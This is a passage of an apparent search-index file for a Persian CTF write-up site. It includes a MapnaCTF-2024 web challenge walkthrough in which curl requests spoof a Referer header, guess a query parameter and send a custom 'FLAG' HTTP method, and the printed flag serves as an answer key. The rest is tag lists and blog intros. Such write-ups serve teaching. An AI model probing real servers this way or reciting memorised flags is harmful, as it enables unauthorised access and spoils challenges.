\u067e\u0633 \u0628\u0631\u06cc\u0645 \u062a\u0633\u062a \u06a9\u0646\u06cc\u0645 \u0628\u0628\u06cc\u0646\u06cc\u0645 \u0627\u06af\u0647 \u0622\u062f\u0631\u0633 http://flaglang.internal/ \u0631\u0648 \u0628\u0632\u0627\u0631\u06cc\u0645 \u062a\u0648 \u0647\u062f\u0631 Referer \u0686\u0647 \u0627\u062a\u0641\u0627\u0642\u06cc \u0645\u06cc\u0648\u0641\u062a\u0647:

$ curl http://18.184.219.56:8080/ -H \"Referer: http://flagland.internal/\"\n<!DOCTYPE html>\n<html>\n<head>\n    <meta charset=\"utf-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <title>Flag holding</title>\n    <style>\n        body {\n            background-color: #1a4a5e;\n        }\n        .msg {\n            text-align: center;\n            font-family: sans-serif;\n            color: white;\n            font-size: 40px;\n            line-height: 500px;\n        }\n    </style>\n</head>\n<body>\n    <div class=\"msg\" style=\"\">\n        Unspecified \"secret\".   </div>\n</body>\n</html>\n

\u062e\u0628 \u0645\u062b\u0644\u0647 \u0627\u06cc\u0646\u06a9\u0647 \u062c\u0648\u0627\u0628 \u062f\u0627\u062f \u060c \u062d\u0627\u0644\u0627 \u0628\u0647\u0645\u0648\u0646 \u06af\u0641\u062a\u0647 Unspecified \"secret\". \u060c \u0627\u062d\u062a\u0645\u0627\u0644\u0627 \u0628\u0627\u06cc\u062f \u06cc\u0647 \u06a9\u0644\u06cc\u062f\u06cc \u0628\u0647 \u0627\u0633\u0645 secret \u0631\u0648 \u06cc\u062c\u0627 \u0633\u062a \u06a9\u0646\u06cc\u0645 \u062a\u0627 \u0628\u0628\u06cc\u0646\u06cc\u0645 \u0686\u0648\u0627\u0628 \u0645\u06cc\u062f\u0647 \u06cc\u0627 \u0646\u0647

\u062e\u0628 \u0645\u0627 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0627\u06cc\u0646 \u06a9\u0644\u06cc\u062f \u0631\u0648 \u062a\u0648\u06cc \u06a9\u0648\u06a9\u06cc \u0647\u0627 \u060c \u0647\u062f\u0631 \u0647\u0627 \u06cc\u0627 \u062a\u0648\u06cc URL \u0633\u062a \u06a9\u0646\u06cc\u0645 \u061b \u0628\u0639\u062f \u0627\u0632 \u062a\u0633\u062a \u06a9\u0631\u062f\u0645 \u06a9\u0648\u06a9\u06cc \u0648 \u0647\u062f\u0631 \u062c\u0648\u0627\u0628 \u0646\u06af\u0631\u0641\u06cc\u062a\u0645 \u0648\u0644\u06cc \u0627\u06af\u0647 \u062a\u0648\u06cc url \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u06cc\u0647 query parameter \u0627\u06cc\u0646 \u0631\u0648 \u062a\u0646\u0638\u06cc\u0645 \u06a9\u0646\u06cc\u0645 \u060c \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0645 \u06a9\u0647:

$ curl http://18.184.219.56:8080/?secret -H \"Referer: http://flagland.internal/\"\n<body>\n    <div class=\"msg\" style=\"\">\n        Incorrect secret. <!-- hint: secret is ____ which is the name of the protocol that both this server and your browser agrees on... -->\n    </div>\n</body>\n

\u0645\u062b\u0644\u0647 \u0627\u06cc\u0646\u06a9\u0647 \u06a9\u0648\u0626\u0631\u06cc \u06a9\u0647 \u0633\u062a \u06a9\u0631\u062f\u06cc\u0645 \u062f\u0631\u0633\u062a \u0646\u06cc\u0633\u062a. \u0648\u0644\u06cc \u0627\u0632 \u0627\u0648\u0646\u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0645\u0627 \u0627\u0632 curl \u0628\u0631\u0627\u06cc \u0631\u06cc\u06a9\u0648\u06cc\u0633\u062a \u0647\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u060c \u0642\u0633\u0645\u062a \u06a9\u0627\u0645\u0646\u062a \u0628\u0631\u0627\u06cc \u0645\u0627 \u062f\u06cc\u062f\u0647 \u0645\u06cc\u0634\u0647 \u06a9\u0647 \u0628\u0647\u0645\u0648\u0646 \u0647\u06cc\u0646\u062a \u062f\u0627\u062f\u0647 \u0648\u0644\u06cc \u0627\u06af\u0647 \u0627\u06cc\u0646 \u0631\u0648 \u062a\u0648\u06cc \u0645\u0631\u0648\u0631\u06af\u0631 \u0628\u0627\u0632 \u06a9\u0646\u06cc\u0646 \u062a\u0648 \u0635\u0641\u062d\u0647 \u0628\u0647\u062a\u0648\u0646 \u0646\u0634\u0648\u0646 \u0646\u0645\u06cc\u062f\u0647 \u0648 \u0628\u0627\u06cc\u062f source \u0635\u0641\u062d\u0647 \u0631\u0648 \u0645\u0634\u0627\u0647\u062f\u0647 \u06a9\u0646\u06cc\u0646

\u0645\u0642\u062f\u0627\u0631 secret \u0627\u0633\u0645 \u067e\u0631\u0648\u062a\u06a9\u0644 \u0647\u0633\u062a \u06a9\u0647 \u0633\u0631\u0648\u0631 \u0648 \u0645\u0631\u0648\u0631\u06af\u0631 \u0631\u0648\u0634 \u062a\u0648\u0627\u0641\u0642 \u06a9\u0631\u062f\u0646\u061f \u0628\u06cc\u0627\u06cc\u0646 http \u0631\u0648 \u062a\u0633\u062a \u06a9\u0646\u06cc\u0645:

$ curl http://18.184.219.56:8080/?secret=http -H \"Referer: http://flagland.internal/\"\n<body>\n    <div class=\"msg\" style=\"\">\n        Sorry we don't have \"GET\" here but we might have other things like \"FLAG\".\n    </div>\n</body>\n

\u0647\u0645\u0648\u0646\u0637\u0648\u0631 \u06a9\u0647 \u0645\u0645\u06a9\u0646\u0647 \u0628\u062f\u0648\u0646\u06cc\u0646 \u062a\u0648\u06cc http \u06cc\u06a9\u0633\u0631\u06cc \u0645\u062a\u062f \u0647\u0627\u06cc\u06cc \u0647\u0633\u062a \u06a9\u0647 GET, POST, PUT, DELETE, ... \u0627\u0632 \u0645\u0639\u0631\u0648\u0641 \u0647\u0627\u0634 \u0647\u0633\u062a\u0646\u062f. \u0648\u0644\u06cc \u0645\u0627 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0647\u0631 \u0645\u062a\u062f\u06cc \u06a9\u0647 \u0645\u06cc\u062e\u0648\u0627\u06cc\u0645 \u0633\u0645\u062a \u0633\u0631\u0648\u0631 \u0628\u0641\u0631\u0633\u062a\u06cc\u0645 (\u0645\u0645\u0646\u06a9\u0647 \u0633\u0631\u0648\u0631 \u06cc\u06a9 \u0645\u062a\u062f \u062e\u0627\u0635\u06cc \u0631\u0648 \u0647\u0646\u062f\u0644 \u06a9\u0646\u0647) \u0628\u0647 \u0647\u0631 \u062d\u0627\u0644 \u0627\u06cc\u0646\u062c\u0627 \u0628\u0647 \u0645\u0627 \u06af\u0641\u062a\u0647 \u0628\u0627\u06cc\u062f \u0627\u0632 \u0645\u062a\u062f FLAG \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645 \u067e\u0633:

$ curl http://18.184.219.56:8080/?secret=http \\\n        -H \"Referer: http://flagland.internal/\" \\\n        -X FLAG\n<body>\n    <div class=\"msg\" style=\"\">\n        MAPNA{533m5-l1k3-y0u-kn0w-h77p-1836a2f} </div>\n</body>\n

\u0648 \u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u0627\u0632 \u0645\u062a\u062f FLAG \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0646 \u0641\u0644\u06af \u0631\u0648 \u0628\u0647\u0645\u0648\u0646 \u0645\u06cc\u062f\u0647

\u0647\u0645\u0648\u0646\u0637\u0648\u0631 \u06a9\u0647 \u062f\u06cc\u062f\u06cc\u0646 \u0627\u06cc\u0646 \u06cc\u06a9\u06cc \u0627\u0632 \u0633\u0648\u0627\u0644 \u0647\u0627\u06cc \u062f\u0633\u062a \u06af\u0631\u0645\u06cc \u0648\u0628 \u0647\u0633\u062a\u0634 \u0648 \u062e\u06cc\u0644\u06cc \u0633\u062e\u062a \u0646\u0628\u0648\u062f \u0648\u0644\u06cc \u062c\u0627\u0628\u0628 \u0628\u0648\u062f \u0648 \u0634\u0627\u06cc\u062f \u0628\u0627\u0639\u062b \u0628\u0634\u0647 \u0628\u0631\u0627\u06cc \u06a9\u0633\u0627\u06cc\u06cc \u06a9\u0647 \u0648\u0628 \u0631\u0648 \u0646\u0645\u06cc\u0634\u0646\u0627\u0633\u0646 \u06cc\u0647 \u0646\u06af\u0627\u0647\u06cc \u0628\u0647 \u062f\u0627\u06a9\u06cc\u0648\u0645\u0646\u062a http \u0628\u0646\u062f\u0627\u0632\u0646

FLAG

MAPNA{533m5-l1k3-y0u-kn0w-h77p-1836a2f}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

amir303

","tags":["Mapna CTF","MapnaCTF-2024","Web"]},{"location":"blog/archive/2024/","title":"2024","text":""},{"location":"blog/category/ctf/","title":"CTF","text":""},{"location":"tags/","title":"\u0628\u0631\u0686\u0633\u0628 \u0647\u0627","text":"

\u062f\u0631 \u0627\u06cc\u0646 \u0628\u062e\u0634 \u0628\u0631\u0686\u0633\u0628 \u0647\u0627\u06cc \u0645\u0648\u062c\u0648\u062f \u062f\u0631 \u0631\u0627\u06cc\u062a\u0627\u067e \u0647\u0627 \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u062f \u062a\u0627 \u0628\u062a\u0648\u0627\u0646\u06cc\u062f \u0628\u0647 \u0631\u0627\u062d\u062a\u06cc \u0631\u0627\u06cc\u062a\u0627\u067e \u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0631\u0627 \u0628\u0631 \u0627\u0633\u0627\u0633 \u0639\u0646\u0648\u0627\u0646 \u062e\u0627\u0635 \u062f\u0646\u0628\u0627\u0644 \u06a9\u0646\u06cc\u062f:

"},{"location":"tags/#0xl4ughctf","title":"0xL4ughCTF","text":""},{"location":"tags/#0xl4ughctf-2024","title":"0xL4ughCTF-2024","text":""},{"location":"tags/#aes","title":"AES","text":""},{"location":"tags/#aes-ecb","title":"AES-ECB","text":""},{"location":"tags/#android","title":"Android","text":""},{"location":"tags/#bmp","title":"BMP","text":""},{"location":"tags/#bsidessf","title":"BSidesSF","text":""},{"location":"tags/#bsidessf-2024","title":"BSidesSF 2024","text":""},{"location":"tags/#bsidessf-2024_1","title":"BSidesSF-2024","text":""},{"location":"tags/#byuctf","title":"BYUCTF","text":""},{"location":"tags/#byuctf-2024","title":"BYUCTF-2024","text":""},{"location":"tags/#backdoorctf","title":"BackdoorCTF","text":""},{"location":"tags/#backdoorctf-2023","title":"BackdoorCTF-2023","text":""},{"location":"tags/#begineer","title":"Begineer","text":""},{"location":"tags/#bufferoverflow","title":"BufferOverflow","text":""},{"location":"tags/#c","title":"C","text":""},{"location":"tags/#csp","title":"CSP","text":""},{"location":"tags/#ctf","title":"CTF","text":""},{"location":"tags/#cakectf","title":"CakeCTF","text":""},{"location":"tags/#cakectf-2023","title":"CakeCTF-2023","text":""},{"location":"tags/#canary","title":"Canary","text":""},{"location":"tags/#complex-numbers","title":"Complex Numbers","text":""},{"location":"tags/#content-type","title":"Content-Type","text":""},{"location":"tags/#coppersmith","title":"Coppersmith","text":""},{"location":"tags/#crack","title":"Crack","text":""},{"location":"tags/#crypto","title":"Crypto","text":""},{"location":"tags/#cybercoliseum-iii","title":"Cybercoliseum \u2162","text":""},{"location":"tags/#dom-based-xss","title":"DOM-Based XSS","text":""},{"location":"tags/#decimal-number","title":"Decimal number","text":""},{"location":"tags/#downunderctf","title":"DownUnderCTF","text":""},{"location":"tags/#downunderctf-2024","title":"DownUnderCTF-2024","text":""},{"location":"tags/#ecb-mode","title":"ECB mode","text":""},{"location":"tags/#eliptic-curve","title":"Eliptic Curve","text":""},{"location":"tags/#encoding","title":"Encoding","text":""},{"location":"tags/#exploit","title":"Exploit","text":""},{"location":"tags/#extended-euclidean","title":"Extended Euclidean","text":""},{"location":"tags/#extended-gcd","title":"Extended gcd","text":""},{"location":"tags/#factorzation","title":"Factorzation","text":""},{"location":"tags/#forensics","title":"Forensics","text":""},{"location":"tags/#frida","title":"Frida","text":""},{"location":"tags/#gdb","title":"GDB","text":""},{"location":"tags/#game_hacking","title":"Game_Hacking","text":""},{"location":"tags/#ghunt","title":"Ghunt","text":""},{"location":"tags/#http","title":"HTTP","text":""},{"location":"tags/#hill-cipher","title":"Hill Cipher","text":""},{"location":"tags/#hooking","title":"Hooking","text":""},{"location":"tags/#jwt","title":"JWT","text":""},{"location":"tags/#joplin","title":"Joplin","text":""},{"location":"tags/#lambda","title":"Lambda","text":""},{"location":"tags/#mapna-ctf","title":"Mapna CTF","text":""},{"location":"tags/#mapnactf-2024","title":"MapnaCTF-2024","text":""},{"location":"tags/#markdown","title":"Markdown","text":""},{"location":"tags/#meet-in-the-middle-mitm","title":"Meet-in-the-Middle (MITM)","text":""},{"location":"tags/#misc","title":"Misc","text":""},{"location":"tags/#modular-binomials","title":"Modular Binomials","text":""},{"location":"tags/#nextjs","title":"Next.js","text":""},{"location":"tags/#osctf","title":"OSCTF","text":""},{"location":"tags/#osctf-2024","title":"OSCTF-2024","text":""},{"location":"tags/#osint","title":"OSINT","text":""},{"location":"tags/#osint_1","title":"Osint","text":""},{"location":"tags/#pdf","title":"PDF","text":""},{"location":"tags/#pdflatex","title":"PDFLatex","text":""},{"location":"tags/#php","title":"PHP","text":""},{"location":"tags/#png","title":"PNG","text":""},{"location":"tags/#pwn","title":"PWN","text":""},{"location":"tags/#partial-known-m","title":"Partial known m","text":""},{"location":"tags/#pingctf","title":"PingCTF","text":""},{"location":"tags/#pingctf-2023","title":"PingCTF-2023","text":""},{"location":"tags/#pwntools","title":"Pwntools","text":""},{"location":"tags/#rop","title":"ROP","text":""},{"location":"tags/#rsa","title":"RSA","text":""},{"location":"tags/#rsa-gcd","title":"RSA-GCD","text":""},{"location":"tags/#rsa-keygen","title":"RSA-keygen","text":""},{"location":"tags/#random","title":"Random","text":""},{"location":"tags/#reverse","title":"Reverse","text":""},{"location":"tags/#sdctf","title":"SDCTF","text":""},{"location":"tags/#sdctf-2024","title":"SDCTF-2024","text":""},{"location":"tags/#sgi","title":"SGI","text":""},{"location":"tags/#ssrf","title":"SSRF","text":""},{"location":"tags/#swp","title":"SWP","text":""},{"location":"tags/#sage","title":"Sage","text":""},{"location":"tags/#seed","title":"Seed","text":""},{"location":"tags/#shell","title":"Shell","text":""},{"location":"tags/#signature","title":"Signature","text":""},{"location":"tags/#snappctf","title":"SnappCTF","text":""},{"location":"tags/#snappctf-2024","title":"SnappCTF-2024","text":""},{"location":"tags/#steganography","title":"Steganography","text":""},{"location":"tags/#swagger","title":"Swagger","text":""},{"location":"tags/#tcp1p-2023","title":"TCP1P-2023","text":""},{"location":"tags/#tcp1p-ctf","title":"TCP1P-CTF","text":""},{"location":"tags/#uiu-ctf","title":"UIU CTF","text":""},{"location":"tags/#uiuctf-2024","title":"UIUCTF-2024","text":""},{"location":"tags/#unlambda","title":"Unlambda","text":""},{"location":"tags/#uploader_bypass","title":"Uploader_Bypass","text":""},{"location":"tags/#vim","title":"VIM","text":""},{"location":"tags/#web","title":"Web","text":""},{"location":"tags/#word","title":"Word","text":""},{"location":"tags/#x-content-type-options","title":"X-Content-Type-Options","text":""},{"location":"tags/#xss","title":"XSS","text":""},{"location":"tags/#yufu","title":"Yufu","text":""},{"location":"tags/#archiveph","title":"archive.ph","text":""},{"location":"tags/#base12","title":"base12","text":""},{"location":"tags/#beginner-guide","title":"beginner guide","text":""},{"location":"tags/#flickr","title":"flickr","text":""},{"location":"tags/#gmail","title":"gmail","text":""},{"location":"tags/#google-map","title":"google map","text":""},{"location":"tags/#half-d","title":"half d","text":""},{"location":"tags/#half-p-and-q","title":"half p and q","text":""},{"location":"tags/#image-coordinates","title":"image coordinates","text":""},{"location":"tags/#image-location","title":"image location","text":""},{"location":"tags/#instagram","title":"instagram","text":""},{"location":"tags/#sha256","title":"sha256","text":""},{"location":"tags/#twitter-comments","title":"twitter comments","text":""},{"location":"tags/#vsctf","title":"vSCTF","text":""},{"location":"tags/#vsctf-2023","title":"vSCTF-2023","text":""},{"location":"tags/#wctf","title":"wCTF","text":""},{"location":"tags/#wctf-2024","title":"wCTF-2024","text":""},{"location":"tags/#wctf_1","title":"wctf","text":""},{"location":"tags/#wctf-2024_1","title":"wctf-2024","text":""},{"location":"tags/#_2","title":"\u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0645\u0646\u0628\u0639\u200c\u0628\u0627\u0632","text":""},{"location":"tags/#_3","title":"\u0627\u0646\u0648\u0627\u0639 \u0686\u0627\u0644\u0634 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc","text":""},{"location":"tags/#_4","title":"\u062a\u0627\u0631\u06cc\u062e\u0686\u0647","text":""},{"location":"tags/#_5","title":"\u0631\u0627\u0647\u0646\u0645\u0627\u06cc \u0634\u0631\u0648\u0639","text":""},{"location":"tags/#_6","title":"\u0631\u0627\u06cc\u062a\u0627\u067e \u0646\u0648\u06cc\u0633\u06cc","text":""},{"location":"tags/#_7","title":"\u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc","text":""},{"location":"tags/#ctf_1","title":"\u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u062f\u0631 CTF","text":""},{"location":"tags/#_8","title":"\u0631\u06cc\u0627\u0636\u06cc\u0627\u062a \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc","text":""},{"location":"tags/#_9","title":"\u0642\u0627\u0644\u0628","text":""},{"location":"tags/#_10","title":"\u0645\u0642\u062f\u0645\u0647","text":""},{"location":"tags/#_11","title":"\u0646\u062d\u0648\u0647 \u0646\u06af\u0627\u0631\u0634","text":""},{"location":"tags/#_12","title":"\u0646\u0642\u0637\u0647 \u0634\u0631\u0648\u0639 \u0648\u0628","text":""},{"location":"tags/#_13","title":"\u0648\u0628","text":""}]} \ No newline at end of file +{"config":{"lang":["en"],"separator":"[\\s\\-]+","pipeline":[" "]},"docs":[{"location":"","title":"\u0633\u062e\u0646 \u0622\u063a\u0627\u0632\u06cc\u0646","text":"

\u0628\u0647 \u0635\u0641\u062d\u0647 \u0631\u0627\u06cc\u062a\u0627\u067e\u200c\u0647\u0627\u06cc \u062a\u06cc\u0645 \u0641\u0644\u06af \u0645\u0648\u062a\u0648\u0631\u06cc \u062e\u0648\u0634 \u0622\u0645\u062f\u06cc\u062f. \u062f\u0631 \u062d\u0627\u0644 \u062d\u0627\u0636\u0631\u060c \u0627\u06cc\u0646 \u0646\u0633\u062e\u0647 \u0622\u0632\u0645\u0627\u06cc\u0634\u06cc \u0635\u0641\u062d\u0647 \u0631\u0627\u06cc\u062a\u0627\u067e\u200c\u0647\u0627\u06cc \u0627\u0639\u0636\u0627 \u062a\u06cc\u0645 \u0627\u0633\u062a. \u0627\u0645\u06cc\u062f\u0648\u0627\u0631\u06cc\u0645 \u06a9\u0647 \u0627\u06cc\u0646 \u0633\u0627\u06cc\u062a \u06af\u0627\u0645\u06cc \u0647\u0631\u0686\u0646\u062f \u0627\u0646\u062f\u06a9 \u062f\u0631 \u062c\u0647\u062a \u0627\u0631\u062a\u0642\u0627\u0621 \u062f\u0627\u0646\u0634 \u0648 \u0622\u06af\u0627\u0647\u06cc \u0639\u0644\u0627\u0642\u0647\u200c\u0645\u0646\u062f\u0627\u0646 \u0628\u0647 \u062d\u0648\u0632\u0647 \u0627\u0645\u0646\u06cc\u062a \u0633\u0627\u06cc\u0628\u0631\u06cc \u062f\u0631 \u0627\u06cc\u0646 \u0633\u0631\u0632\u0645\u06cc\u0646 \u0628\u0627\u0634\u062f.

\u0627\u0645\u0631\u0648\u0632\u0647 \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u0631\u0627\u06cc\u062a\u0627\u067e\u200c\u0647\u0627 \u062f\u0631 \u062d\u0648\u0632\u0647 \u0627\u0645\u0646\u06cc\u062a \u0627\u063a\u0644\u0628 \u0628\u0647 \u0632\u0628\u0627\u0646 \u0627\u0646\u06af\u0644\u06cc\u0633\u06cc \u0646\u0648\u0634\u062a\u0647 \u0648 \u0645\u0646\u062a\u0634\u0631 \u0645\u06cc\u200c\u0634\u0648\u0646\u062f. \u0627\u0632 \u0622\u0646\u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0645\u0645\u06a9\u0646 \u0627\u0633\u062a \u0645\u0637\u0627\u0644\u0639\u0647 \u0645\u062d\u062a\u0648\u0627\u06cc \u0627\u0646\u06af\u0644\u06cc\u0633\u06cc \u0628\u0631\u0627\u06cc \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u0627\u0641\u0631\u0627\u062f \u062f\u0634\u0648\u0627\u0631 \u0628\u0627\u0634\u062f\u060c \u062a\u0635\u0645\u06cc\u0645 \u06af\u0631\u0641\u062a\u06cc\u0645 \u0631\u0627\u06cc\u062a\u0627\u067e\u200c\u0647\u0627 \u0631\u0627 \u0628\u0647 \u0632\u0628\u0627\u0646 \u0641\u0627\u0631\u0633\u06cc \u0645\u0646\u062a\u0634\u0631 \u06a9\u0646\u06cc\u0645 \u062a\u0627 \u0645\u062e\u0627\u0637\u0628\u06cc\u0646 \u0641\u0627\u0631\u0633\u06cc \u0632\u0628\u0627\u0646 \u0641\u0631\u0627\u06cc\u0646\u062f \u062d\u0644 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF \u0631\u0627 \u0628\u0647\u062a\u0631 \u062f\u0631\u06a9 \u06a9\u0646\u0646\u062f. \u0645\u0627 \u062f\u0631 \u062a\u06cc\u0645 \u0641\u0644\u06af \u0645\u0648\u062a\u0648\u0631\u06cc \u0628\u0631 \u0627\u06cc\u0646 \u0628\u0627\u0648\u0631\u06cc\u0645 \u06a9\u0647 \u0627\u0631\u0627\u0626\u0647 \u0627\u06cc\u0646 \u0631\u0627\u06cc\u062a\u0627\u067e\u200c\u0647\u0627 \u0648 \u062f\u0631 \u062f\u0633\u062a\u0631\u0633 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0646 \u0622\u0646\u200c\u0647\u0627 \u0628\u0631\u0627\u06cc \u0647\u0645\u06af\u0627\u0646\u060c \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u06a9\u0645\u0628\u0648\u062f \u0645\u0646\u0627\u0628\u0639 \u0641\u0627\u0631\u0633\u06cc \u062f\u0631 \u0632\u0645\u06cc\u0646\u0647 \u0627\u0645\u0646\u06cc\u062a \u0631\u0627 \u062a\u0627 \u062d\u062f\u06cc \u062c\u0628\u0631\u0627\u0646 \u06a9\u0646\u062f.

\u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0627\u06cc\u0646\u060c \u06a9\u0648\u0634\u06cc\u062f\u06cc\u0645 \u062a\u0627 \u0628\u0633\u062a\u0631\u06cc \u062c\u0630\u0627\u0628 \u0631\u0627 \u0628\u0631\u0627\u06cc \u062e\u0648\u0627\u0646\u062f\u0646 \u0631\u0627\u06cc\u062a\u0627\u067e \u0641\u0631\u0627\u0647\u0645 \u06a9\u0646\u06cc\u0645. \u0628\u062f\u06cc\u0646 \u0645\u0646\u0638\u0648\u0631 \u0627\u0645\u06a9\u0627\u0646 \u0633\u0641\u0627\u0631\u0634\u06cc\u200c\u0633\u0627\u0632\u06cc \u0628\u0631\u062e\u06cc \u0642\u0633\u0645\u062a\u200c\u0647\u0627 \u062f\u0631 \u0633\u0627\u06cc\u062a \u062a\u0639\u0628\u06cc\u0647 \u0634\u062f\u0647 \u062a\u0627 \u062a\u062c\u0631\u0628\u0647 \u0645\u062a\u0641\u0627\u0648\u062a\u06cc \u0627\u0632 \u0645\u0637\u0627\u0644\u0639\u0647 \u0631\u0627\u06cc\u062a\u0627\u067e \u0628\u0631 \u0627\u0633\u0627\u0633 \u0633\u0644\u06cc\u0642\u0647 \u0634\u062e\u0635\u06cc \u062e\u0648\u062f \u0634\u06a9\u0644 \u062f\u0647\u06cc\u062f. \u0628\u0631\u0627\u06cc \u0634\u062e\u0635\u06cc\u200c\u0633\u0627\u0632\u06cc \u0633\u0627\u06cc\u062a \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0628\u0647 \u0627\u06cc\u0646 \u0635\u0641\u062d\u0647 \u0628\u0631\u0648\u06cc\u062f.

"},{"location":"blockchain/","title":"\u0628\u0644\u0627\u06a9\u0686\u06cc\u0646","text":""},{"location":"blog/","title":"\u0648\u0628\u0644\u0627\u06af\u200c \u062a\u06cc\u0645 \u0641\u0644\u06af \u0645\u0648\u062a\u0648\u0631\u06cc","text":""},{"location":"blog/2024/02/25/snapp-ctf-2024/","title":"\u0641\u062a\u062d \u067e\u0631\u0686\u0645 \u0627\u0633\u0646\u067e","text":"

\u0633\u0644\u0627\u0645\u060c \u0627\u0645\u06cc\u062f\u0648\u0627\u0631\u0645 \u062d\u0627\u0644\u062a\u0648\u0646 \u062e\u0648\u0628 \u0628\u0627\u0634\u0647

\u0627\u06cc\u0646 \u0627\u062e\u0631 \u0647\u0641\u062a\u0647 \u062a\u0648 \u0645\u0633\u0627\u0628\u0642\u0647 \u0641\u062a\u062d \u067e\u0631\u0686\u0645 \u0627\u0633\u0646\u067e \u0634\u0631\u06a9\u062a \u06a9\u0631\u062f\u06cc\u0645 \u0648 \u062a\u0648\u0646\u0633\u062a\u06cc\u0645 \u0631\u062a\u0628\u0647 \u062f\u0648\u0645 \u0631\u0648 \u06a9\u0633\u0628 \u06a9\u0646\u06cc\u0645 \ud83e\udd73\u270c\ud83c\udffb\ud83d\udd25

\u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0631\u0627\u06cc\u062a\u200c\u0622\u067e \u0628\u0639\u0636\u06cc \u0627\u0632 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u062a\u06cc\u0645\u0645\u0648\u0646 \u0645\u0648\u0641\u0642 \u0628\u0647 \u062d\u0644\u0634\u0648\u0646 \u0634\u062f\u0647 \u0631\u0648 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u06cc\u0645. \u0627\u0645\u06cc\u062f\u0648\u0627\u0631\u06cc\u0645 \u0627\u06cc\u0646 \u0645\u0637\u0627\u0644\u0628 \u0628\u0631\u0627\u06cc \u0639\u062f\u0647\u200c\u0627\u06cc \u0645\u0641\u06cc\u062f \u0648 \u06a9\u0645\u06a9\u200c\u06a9\u0646\u0646\u062f\u0647 \u0648\u0627\u0642\u0639 \u0634\u0647\u2728

webrevforensicsOSINTmisccryptopwn \u0646\u0627\u0645 \u0686\u0627\u0644\u0634 \u062f\u0633\u062a\u0647 \u0628\u0646\u062f\u06cc \u0631\u0627\u06cc\u062a\u200c\u0622\u067e Welcome web \u0631\u0627\u06cc\u062a\u200c\u0622\u067e Snapp cat! web \u0631\u0627\u06cc\u062a\u200c\u0622\u067e Snapp fal! web \u0631\u0627\u06cc\u062a\u200c\u0622\u067e b64 web \u0631\u0627\u06cc\u062a\u200c\u0622\u067e \u0646\u0627\u0645 \u0686\u0627\u0644\u0634 \u062f\u0633\u062a\u0647 \u0628\u0646\u062f\u06cc \u0631\u0627\u06cc\u062a\u200c\u0622\u067e Vitis \ud83e\ude9f rev \u0631\u0627\u06cc\u062a\u200c\u0622\u067e TurnOB rev \u0631\u0627\u06cc\u062a\u200c\u0622\u067e Blink rev \u0631\u0627\u06cc\u062a\u200c\u0622\u067e \u0646\u0627\u0645 \u0686\u0627\u0644\u0634 \u062f\u0633\u062a\u0647 \u0628\u0646\u062f\u06cc \u0631\u0627\u06cc\u062a\u200c\u0622\u067e SNAPP Report \ud83d\udcdd forensics \u0631\u0627\u06cc\u062a\u200c\u0622\u067e Bandy forensics & misc \u0631\u0627\u06cc\u062a\u200c\u0622\u067e False sight forensics \u0631\u0627\u06cc\u062a\u200c\u0622\u067e \u0646\u0627\u0645 \u0686\u0627\u0644\u0634 \u062f\u0633\u062a\u0647 \u0628\u0646\u062f\u06cc \u0631\u0627\u06cc\u062a\u200c\u0622\u067e SNAPP Customers OSINT \u0631\u0627\u06cc\u062a\u200c\u0622\u067e SNAPP Records OSINT \u0631\u0627\u06cc\u062a\u200c\u0622\u067e SNAPP Bounties OSINT \u0631\u0627\u06cc\u062a\u200c\u0622\u067e SNAPP Saving OSINT \u0631\u0627\u06cc\u062a\u200c\u0622\u067e \u0646\u0627\u0645 \u0686\u0627\u0644\u0634 \u062f\u0633\u062a\u0647 \u0628\u0646\u062f\u06cc \u0631\u0627\u06cc\u062a\u200c\u0622\u067e Prying eyes \ud83d\udc40 misc \u0631\u0627\u06cc\u062a\u200c\u0622\u067e Bandy forensics & misc \u0631\u0627\u06cc\u062a\u200c\u0622\u067e \u0646\u0627\u0645 \u0686\u0627\u0644\u0634 \u062f\u0633\u062a\u0647 \u0628\u0646\u062f\u06cc \u0631\u0627\u06cc\u062a\u200c\u0622\u067e Cryptos crypto \u0631\u0627\u06cc\u062a\u200c\u0622\u067e Bombastic crypto \u0631\u0627\u06cc\u062a\u200c\u0622\u067e MASCOT crypto \u0631\u0627\u06cc\u062a\u200c\u0622\u067e Blex crypto \u0631\u0627\u06cc\u062a\u200c\u0622\u067e \u0646\u0627\u0645 \u0686\u0627\u0644\u0634 \u062f\u0633\u062a\u0647 \u0628\u0646\u062f\u06cc \u0631\u0627\u06cc\u062a\u200c\u0622\u067e snapp_admin pwn \u0631\u0627\u06cc\u062a\u200c\u0622\u067e Snappshell pwn \u0631\u0627\u06cc\u062a\u200c\u0622\u067e

"},{"location":"crypto/","title":"\u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc","text":"

